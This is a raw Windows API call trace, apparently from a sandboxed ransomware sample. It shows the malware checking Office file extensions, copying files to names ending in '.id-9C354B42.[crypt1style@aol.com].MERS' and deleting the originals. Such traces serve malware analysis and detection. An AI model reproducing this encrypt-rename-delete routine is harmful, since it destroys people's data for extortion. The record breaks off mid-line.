lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.802] lstrlenW (lpString=".zip") returned 4 [0273.802] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0273.802] lstrlenW (lpString=".rar") returned 4 [0273.802] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0273.802] lstrlenW (lpString=".bz2") returned 4 [0273.802] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0273.802] lstrlenW (lpString=".7z") returned 3 [0273.802] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.803] lstrlenW (lpString=".dbf") returned 4 [0273.803] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.803] lstrlenW (lpString=".1cd") returned 4 [0273.803] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.803] lstrlenW (lpString=".jpg") returned 4 [0273.803] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.803] lstrlenW (lpString=".doc") returned 4 [0273.803] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0273.803] lstrlenW (lpString=".docx") returned 5 [0273.803] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0273.803] lstrlenW (lpString=".pdf") returned 4 [0273.803] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0273.803] lstrlenW (lpString=".xls") returned 4 [0273.803] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0273.803] lstrlenW (lpString=".xlsx") returned 5 [0273.803] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0273.803] lstrlenW (lpString=".ppt") returned 4 [0273.803] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.803] lstrlenW (lpString=".zip") returned 4 [0273.803] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0273.803] lstrlenW (lpString=".rar") returned 4 [0273.803] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0273.803] lstrlenW (lpString=".bz2") returned 4 [0273.803] lstrcmpiW (lpString1=".bz2", lpString2=".MMW") returned -1 [0273.803] lstrlenW (lpString=".7z") returned 3 [0273.803] lstrcmpiW (lpString1=".7z", lpString2="MMW") returned -1 [0273.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.804] lstrlenW (lpString=".dbf") returned 4 [0273.804] lstrcmpiW (lpString1=".dbf", lpString2=".MMW") returned -1 [0273.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.804] lstrlenW (lpString=".1cd") returned 4 [0273.804] lstrcmpiW (lpString1=".1cd", lpString2=".MMW") returned -1 [0273.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0273.804] lstrlenW (lpString=".jpg") returned 4 [0273.804] lstrcmpiW (lpString1=".jpg", lpString2=".MMW") returned -1 [0273.804] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0273.804] lstrlenW (lpString="ACCVDTUI.DLL") returned 12 [0273.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0273.961] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=158600) returned 1 [0273.961] CloseHandle (hObject=0x3cc) returned 1 [0273.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll")) returned 0x20 [0273.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.961] lstrlenW (lpString=".doc") returned 4 [0273.961] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.961] lstrlenW (lpString=".docx") returned 5 [0273.961] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0273.961] lstrlenW (lpString=".pdf") returned 4 [0273.961] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.961] lstrlenW (lpString=".xls") returned 4 [0273.961] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.962] lstrlenW (lpString=".xlsx") returned 5 [0273.962] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0273.962] lstrlenW (lpString=".ppt") returned 4 [0273.962] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.962] lstrlenW (lpString=".zip") returned 4 [0273.962] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.962] lstrlenW (lpString=".rar") returned 4 [0273.962] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.962] lstrlenW (lpString=".bz2") returned 4 [0273.962] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.962] lstrlenW (lpString=".7z") returned 3 [0273.962] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.962] lstrlenW (lpString=".dbf") returned 4 [0273.962] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.962] lstrlenW (lpString=".1cd") returned 4 [0273.962] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.962] lstrlenW (lpString=".jpg") returned 4 [0273.962] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.963] lstrlenW (lpString=".doc") returned 4 [0273.963] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0273.963] lstrlenW (lpString=".docx") returned 5 [0273.963] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0273.963] lstrlenW (lpString=".pdf") returned 4 [0273.963] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0273.963] lstrlenW (lpString=".xls") returned 4 [0273.963] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0273.963] lstrlenW (lpString=".xlsx") returned 5 [0273.963] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0273.963] lstrlenW (lpString=".ppt") returned 4 [0273.963] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0273.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.963] lstrlenW (lpString=".zip") returned 4 [0273.963] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0273.963] lstrlenW (lpString=".rar") returned 4 [0273.963] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0273.963] lstrlenW (lpString=".bz2") returned 4 [0273.963] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0273.963] lstrlenW (lpString=".7z") returned 3 [0273.963] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0273.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.963] lstrlenW (lpString=".dbf") returned 4 [0273.963] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0273.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.973] lstrlenW (lpString=".1cd") returned 4 [0273.973] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0273.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0273.973] lstrlenW (lpString=".jpg") returned 4 [0273.973] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0273.973] lstrcmpiW (lpString1=".VRD", lpString2=".MERS") returned 1 [0273.973] lstrlenW (lpString="CALEVENT.VRD") returned 12 [0273.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0273.977] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=2144) returned 1 [0273.977] CloseHandle (hObject=0x3cc) returned 1 [0273.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 0x20 [0273.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0273.977] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0273.977] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0273.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x280 [0273.978] GetLastError () returned 0x0 [0273.978] ReadFile (in: hFile=0x3cc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x860, lpOverlapped=0x0) returned 1 [0273.979] WriteFile (in: hFile=0x280, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x870, lpOverlapped=0x0) returned 1 [0273.980] ReadFile (in: hFile=0x3cc, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0273.980] WriteFile (in: hFile=0x280, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.980] SetEndOfFile (hFile=0x280) returned 1 [0273.981] CloseHandle (hObject=0x280) returned 1 [0273.981] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0273.981] SetEndOfFile (hFile=0x3cc) returned 1 [0273.983] CloseHandle (hObject=0x3cc) returned 1 [0273.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) returned 1 [0273.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0273.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0273.983] lstrlenW (lpString=".doc") returned 4 [0273.983] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0273.983] lstrlenW (lpString=".docx") returned 5 [0273.983] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0273.983] lstrlenW (lpString=".pdf") returned 4 [0273.984] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0273.984] lstrlenW (lpString=".xls") returned 4 [0273.984] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0273.984] lstrlenW (lpString=".xlsx") returned 5 [0273.984] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0273.984] lstrlenW (lpString=".ppt") returned 4 [0273.984] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0273.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0273.984] lstrlenW (lpString=".zip") returned 4 [0273.984] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0273.984] lstrlenW (lpString=".rar") returned 4 [0274.057] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0274.057] lstrlenW (lpString=".bz2") returned 4 [0274.057] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0274.057] lstrlenW (lpString=".7z") returned 3 [0274.057] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0274.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0274.057] lstrlenW (lpString=".dbf") returned 4 [0274.057] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0274.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0274.057] lstrlenW (lpString=".1cd") returned 4 [0274.057] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0274.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0274.057] lstrlenW (lpString=".jpg") returned 4 [0274.057] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0274.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0274.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0274.057] lstrlenW (lpString=".doc") returned 4 [0274.057] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0274.057] lstrlenW (lpString=".docx") returned 5 [0274.057] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0274.057] lstrlenW (lpString=".pdf") returned 4 [0274.057] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0274.057] lstrlenW (lpString=".xls") returned 4 [0274.058] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0274.058] lstrlenW (lpString=".xlsx") returned 5 [0274.058] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0274.058] lstrlenW (lpString=".ppt") returned 4 [0274.058] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0274.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0274.058] lstrlenW (lpString=".zip") returned 4 [0274.058] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0274.058] lstrlenW (lpString=".rar") returned 4 [0274.058] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0274.058] lstrlenW (lpString=".bz2") returned 4 [0274.058] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0274.058] lstrlenW (lpString=".7z") returned 3 [0274.058] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0274.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0274.058] lstrlenW (lpString=".dbf") returned 4 [0274.058] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0274.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0274.058] lstrlenW (lpString=".1cd") returned 4 [0274.058] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0274.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD") returned 60 [0274.059] lstrlenW (lpString=".jpg") returned 4 [0274.059] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0274.059] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0274.059] lstrlenW (lpString="CERTINTL.DLL") returned 12 [0274.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0274.060] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=12176) returned 1 [0274.060] CloseHandle (hObject=0x3cc) returned 1 [0274.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll")) returned 0x20 [0274.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0274.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.060] lstrlenW (lpString=".doc") returned 4 [0274.060] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.060] lstrlenW (lpString=".docx") returned 5 [0274.060] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0274.060] lstrlenW (lpString=".pdf") returned 4 [0274.060] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.060] lstrlenW (lpString=".xls") returned 4 [0274.060] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.060] lstrlenW (lpString=".xlsx") returned 5 [0274.060] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0274.060] lstrlenW (lpString=".ppt") returned 4 [0274.060] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.060] lstrlenW (lpString=".zip") returned 4 [0274.060] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.060] lstrlenW (lpString=".rar") returned 4 [0274.060] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.060] lstrlenW (lpString=".bz2") returned 4 [0274.060] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.060] lstrlenW (lpString=".7z") returned 3 [0274.060] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.061] lstrlenW (lpString=".dbf") returned 4 [0274.061] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.061] lstrlenW (lpString=".1cd") returned 4 [0274.061] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.061] lstrlenW (lpString=".jpg") returned 4 [0274.061] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.061] lstrlenW (lpString=".doc") returned 4 [0274.061] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.061] lstrlenW (lpString=".docx") returned 5 [0274.061] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0274.061] lstrlenW (lpString=".pdf") returned 4 [0274.061] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.061] lstrlenW (lpString=".xls") returned 4 [0274.061] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.061] lstrlenW (lpString=".xlsx") returned 5 [0274.061] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0274.061] lstrlenW (lpString=".ppt") returned 4 [0274.061] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.062] lstrlenW (lpString=".zip") returned 4 [0274.062] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.062] lstrlenW (lpString=".rar") returned 4 [0274.062] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.062] lstrlenW (lpString=".bz2") returned 4 [0274.062] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.062] lstrlenW (lpString=".7z") returned 3 [0274.062] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.062] lstrlenW (lpString=".dbf") returned 4 [0274.062] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0274.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.062] lstrlenW (lpString=".1cd") returned 4 [0274.062] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0274.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0274.062] lstrlenW (lpString=".jpg") returned 4 [0274.062] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0274.062] lstrcmpiW (lpString1=".DLL", lpString2=".MERS") returned -1 [0274.062] lstrlenW (lpString="CLVWINTL.DLL") returned 12 [0274.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0274.062] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=19880) returned 1 [0274.063] CloseHandle (hObject=0x3cc) returned 1 [0274.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll")) returned 0x20 [0274.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0274.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.063] lstrlenW (lpString=".doc") returned 4 [0274.063] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0274.063] lstrlenW (lpString=".docx") returned 5 [0274.063] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0274.063] lstrlenW (lpString=".pdf") returned 4 [0274.063] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0274.063] lstrlenW (lpString=".xls") returned 4 [0274.063] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0274.063] lstrlenW (lpString=".xlsx") returned 5 [0274.063] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0274.063] lstrlenW (lpString=".ppt") returned 4 [0274.063] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0274.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0274.063] lstrlenW (lpString=".zip") returned 4 [0274.063] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0274.064] lstrlenW (lpString=".rar") returned 4 [0274.064] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0274.064] lstrlenW (lpString=".bz2") returned 4 [0274.064] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0274.064] lstrlenW (lpString=".7z") returned 3 [0274.064] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0274.064] lstrlenW (lpString="C:\\Program 